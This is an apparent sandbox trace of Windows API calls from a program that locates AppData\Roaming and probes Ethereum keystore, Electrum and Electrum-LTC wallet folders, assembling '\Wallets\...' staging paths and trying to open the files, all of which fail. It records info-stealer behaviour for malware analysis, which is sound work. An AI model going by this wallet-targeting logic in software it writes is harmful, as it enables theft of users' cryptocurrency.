[0055.051] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67db50, cbMultiByte=56, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 56
[0055.051] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x6704a0
[0055.052] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67db50, cbMultiByte=56, lpWideCharStr=0x6704a0, cchWideChar=56 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Ethereum\\keystore") returned 56
[0055.052] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x670518
[0055.052] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6704a0 | out: hHeap=0x670000) returned 1
[0055.052] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Ethereum\\keystore" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\ethereum\\keystore"), lpFindFileData=0x199ef0 | out: lpFindFileData=0x199ef0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76f06588, dwReserved1=0xa902c54a, cFileName="P", cAlternateFileName="")) returned 0xffffffff
[0055.077] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x670518 | out: hHeap=0x670000) returned 1
[0055.079] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1c) returned 0x67db18
[0055.080] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x199ef0 | out: lpFindFileData=0x199ef0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76f06588, dwReserved1=0xa902c54a, cFileName="P", cAlternateFileName="")) returned 0
[0055.080] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db50 | out: hHeap=0x670000) returned 1
[0055.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2
[0055.080] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x2) returned 0x67d9f8
[0055.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=2, lpMultiByteStr=0x67d9f8, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="P", lpUsedDefaultChar=0x0) returned 2
[0055.080] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d9f8 | out: hHeap=0x670000) returned 1
[0055.080] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x67db40
[0055.080] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x47) returned 0x67db78
[0055.080] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db40 | out: hHeap=0x670000) returned 1
[0055.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2
[0055.080] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x2) returned 0x67da58
[0055.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=2, lpMultiByteStr=0x67da58, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="P", lpUsedDefaultChar=0x0) returned 2
[0055.080] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67da58 | out: hHeap=0x670000) returned 1
[0055.080] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x67db40
[0055.080] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x47) returned 0x6704a0
[0055.080] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db40 | out: hHeap=0x670000) returned 1
[0055.080] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6704a0, cbMultiByte=49, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 49
[0055.080] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x62) returned 0x6704f0
[0055.080] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6704a0, cbMultiByte=49, lpWideCharStr=0x6704f0, cchWideChar=49 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Ethereum\\P") returned 49
[0055.080] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0xe055320
[0055.081] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6704f0 | out: hHeap=0x670000) returned 1
[0055.081] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Ethereum\\P" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\ethereum\\p")) returned 0xffffffff
[0055.081] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0xe055320 | out: hHeap=0x670000) returned 1
[0055.081] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6704a0 | out: hHeap=0x670000) returned 1
[0055.081] lstrcatA (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\"
[0055.081] lstrcatA (in: lpString1="\\", lpString2="W" | out: lpString1="\\W") returned="\\W"
[0055.081] lstrcatA (in: lpString1="\\W", lpString2="a" | out: lpString1="\\Wa") returned="\\Wa"
[0055.081] lstrcatA (in: lpString1="\\Wa", lpString2="l" | out: lpString1="\\Wal") returned="\\Wal"
[0055.081] lstrcatA (in: lpString1="\\Wal", lpString2="l" | out: lpString1="\\Wall") returned="\\Wall"
[0055.081] lstrcatA (in: lpString1="\\Wall", lpString2="e" | out: lpString1="\\Walle") returned="\\Walle"
[0055.081] lstrcatA (in: lpString1="\\Walle", lpString2="t" | out: lpString1="\\Wallet") returned="\\Wallet"
[0055.081] lstrcatA (in: lpString1="\\Wallet", lpString2="s" | out: lpString1="\\Wallets") returned="\\Wallets"
[0055.081] lstrcatA (in: lpString1="\\Wallets", lpString2="\\" | out: lpString1="\\Wallets\\") returned="\\Wallets\\"
[0055.081] lstrcatA (in: lpString1="\\Wallets\\", lpString2="Ethereum\"" | out: lpString1="\\Wallets\\Ethereum\"") returned="\\Wallets\\Ethereum\""
[0055.081] lstrcatA (in: lpString1="\\Wallets\\Ethereum\"", lpString2="\\" | out: lpString1="\\Wallets\\Ethereum\"\\") returned="\\Wallets\\Ethereum\"\\"
[0055.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2
[0055.081] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x2) returned 0x67d978
[0055.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=2, lpMultiByteStr=0x67d978, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="P", lpUsedDefaultChar=0x0) returned 2
[0055.081] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d978 | out: hHeap=0x670000) returned 1
[0055.082] lstrcatA (in: lpString1="\\Wallets\\Ethereum\"\\", lpString2="P" | out: lpString1="\\Wallets\\Ethereum\"\\P") returned="\\Wallets\\Ethereum\"\\P"
[0055.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2
[0055.082] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x2) returned 0x67d968
[0055.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=2, lpMultiByteStr=0x67d968, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="P", lpUsedDefaultChar=0x0) returned 2
[0055.082] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d968 | out: hHeap=0x670000) returned 1
[0055.082] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x67db40
[0055.082] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x47) returned 0x6704a0
[0055.082] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db40 | out: hHeap=0x670000) returned 1
[0055.082] CreateFileA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Ethereum\\P" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\ethereum\\p"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0055.082] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6704a0 | out: hHeap=0x670000) returned 1
[0055.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2
[0055.082] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x2) returned 0x67d978
[0055.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=2, lpMultiByteStr=0x67d978, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="P", lpUsedDefaultChar=0x0) returned 2
[0055.082] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d978 | out: hHeap=0x670000) returned 1
[0055.082] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x67db40
[0055.082] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x47) returned 0x6704a0
[0055.083] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db40 | out: hHeap=0x670000) returned 1
[0055.083] lstrcpyA (in: lpString1=0x19a050, lpString2="\\Wallets\\Ethereum\"\\P" | out: lpString1="\\Wallets\\Ethereum\"\\P") returned="\\Wallets\\Ethereum\"\\P"
[0055.083] lstrlenA (lpString="/Wallets/Ethereum\"/P") returned 20
[0055.083] CreateFileA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Ethereum\\P" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\ethereum\\p"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
[0055.083] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6704a0 | out: hHeap=0x670000) returned 1
[0055.083] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db78 | out: hHeap=0x670000) returned 1
[0055.083] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db18 | out: hHeap=0x670000) returned 1
[0055.084] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67efa8 | out: hHeap=0x670000) returned 1
[0055.084] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x67efa8
[0055.084] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x199db8 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0
[0055.084] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x67db18
[0055.084] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x67db50
[0055.084] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67db50, cbMultiByte=59, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 59
[0055.084] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x76) returned 0x6704a0
[0055.084] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67db50, cbMultiByte=59, lpWideCharStr=0x6704a0, cchWideChar=59 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Electrum\\wallets\\*.*") returned 59
[0055.084] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x670520
[0055.084] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6704a0 | out: hHeap=0x670000) returned 1
[0055.084] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Electrum\\wallets\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\electrum\\wallets\\*.*"), lpFindFileData=0x199ef0 | out: lpFindFileData=0x199ef0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
[0055.084] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x670520 | out: hHeap=0x670000) returned 1
[0055.084] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1c) returned 0x67db98
[0055.084] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x199ef0 | out: lpFindFileData=0x199ef0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
[0055.085] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db50 | out: hHeap=0x670000) returned 1
[0055.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1
[0055.085] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1) returned 0x67da38
[0055.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x67da38, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1
[0055.085] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67da38 | out: hHeap=0x670000) returned 1
[0055.085] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x67db50
[0055.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1
[0055.085] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1) returned 0x67d9b8
[0055.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x67d9b8, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1
[0055.085] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d9b8 | out: hHeap=0x670000) returned 1
[0055.085] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x6704a0
[0055.085] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6704a0, cbMultiByte=56, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 56
[0055.085] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x6704e8
[0055.085] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6704a0, cbMultiByte=56, lpWideCharStr=0x6704e8, cchWideChar=56 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Electrum\\wallets\\") returned 56
[0055.085] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0xe055320
[0055.085] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6704e8 | out: hHeap=0x670000) returned 1
[0055.085] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Electrum\\wallets\\" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\electrum\\wallets")) returned 0xffffffff
[0055.085] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0xe055320 | out: hHeap=0x670000) returned 1
[0055.085] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6704a0 | out: hHeap=0x670000) returned 1
[0055.086] lstrcatA (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\"
[0055.086] lstrcatA (in: lpString1="\\", lpString2="W" | out: lpString1="\\W") returned="\\W"
[0055.086] lstrcatA (in: lpString1="\\W", lpString2="a" | out: lpString1="\\Wa") returned="\\Wa"
[0055.086] lstrcatA (in: lpString1="\\Wa", lpString2="l" | out: lpString1="\\Wal") returned="\\Wal"
[0055.086] lstrcatA (in: lpString1="\\Wal", lpString2="l" | out: lpString1="\\Wall") returned="\\Wall"
[0055.086] lstrcatA (in: lpString1="\\Wall", lpString2="e" | out: lpString1="\\Walle") returned="\\Walle"
[0055.086] lstrcatA (in: lpString1="\\Walle", lpString2="t" | out: lpString1="\\Wallet") returned="\\Wallet"
[0055.086] lstrcatA (in: lpString1="\\Wallet", lpString2="s" | out: lpString1="\\Wallets") returned="\\Wallets"
[0055.086] lstrcatA (in: lpString1="\\Wallets", lpString2="\\" | out: lpString1="\\Wallets\\") returned="\\Wallets\\"
[0055.086] lstrcatA (in: lpString1="\\Wallets\\", lpString2="Electrum" | out: lpString1="\\Wallets\\Electrum") returned="\\Wallets\\Electrum"
[0055.086] lstrcatA (in: lpString1="\\Wallets\\Electrum", lpString2="\\" | out: lpString1="\\Wallets\\Electrum\\") returned="\\Wallets\\Electrum\\"
[0055.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1
[0055.086] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1) returned 0x67d9f8
[0055.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x67d9f8, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1
[0055.086] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d9f8 | out: hHeap=0x670000) returned 1
[0055.086] lstrcatA (in: lpString1="\\Wallets\\Electrum\\", lpString2="" | out: lpString1="\\Wallets\\Electrum\\") returned="\\Wallets\\Electrum\\"
[0055.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1
[0055.086] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1) returned 0x67dac8
[0055.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x67dac8, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1
[0055.086] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67dac8 | out: hHeap=0x670000) returned 1
[0055.086] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x6704a0
[0055.086] CreateFileA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Electrum\\wallets\\" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\electrum\\wallets"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0055.086] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6704a0 | out: hHeap=0x670000) returned 1
[0055.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1
[0055.086] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1) returned 0x67dac8
[0055.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x67dac8, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1
[0055.086] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67dac8 | out: hHeap=0x670000) returned 1
[0055.087] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x6704a0
[0055.087] lstrcpyA (in: lpString1=0x19a050, lpString2="\\Wallets\\Electrum\\" | out: lpString1="\\Wallets\\Electrum\\") returned="\\Wallets\\Electrum\\"
[0055.087] lstrlenA (lpString="/Wallets/Electrum/") returned 18
[0055.087] CreateFileA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Electrum\\wallets\\" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\electrum\\wallets"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
[0055.087] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6704a0 | out: hHeap=0x670000) returned 1
[0055.087] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db50 | out: hHeap=0x670000) returned 1
[0055.087] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db98 | out: hHeap=0x670000) returned 1
[0055.087] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db18 | out: hHeap=0x670000) returned 1
[0055.087] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67efa8 | out: hHeap=0x670000) returned 1
[0055.087] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x67efa8
[0055.087] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x199db8 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0
[0055.087] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x67db18
[0055.087] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x67db50
[0055.087] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67db50, cbMultiByte=63, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 63
[0055.087] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x7e) returned 0x6704a0
[0055.087] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67db50, cbMultiByte=63, lpWideCharStr=0x6704a0, cchWideChar=63 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Electrum-LTC\\wallets\\*.*") returned 63
[0055.088] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0xe055320
[0055.088] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6704a0 | out: hHeap=0x670000) returned 1
[0055.088] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Electrum-LTC\\wallets\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\electrum-ltc\\wallets\\*.*"), lpFindFileData=0x199ef0 | out: lpFindFileData=0x199ef0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
[0055.088] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0xe055320 | out: hHeap=0x670000) returned 1
[0055.088] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1c) returned 0x67db98
[0055.088] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x199ef0 | out: lpFindFileData=0x199ef0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
[0055.088] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db50 | out: hHeap=0x670000) returned 1
[0055.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1
[0055.088] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1) returned 0x67db08
[0055.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x67db08, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1
[0055.088] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db08 | out: hHeap=0x670000) returned 1
[0055.088] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x67db50
[0055.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1
[0055.088] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1) returned 0x67daa8
[0055.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x67daa8, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1
[0055.088] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67daa8 | out: hHeap=0x670000) returned 1
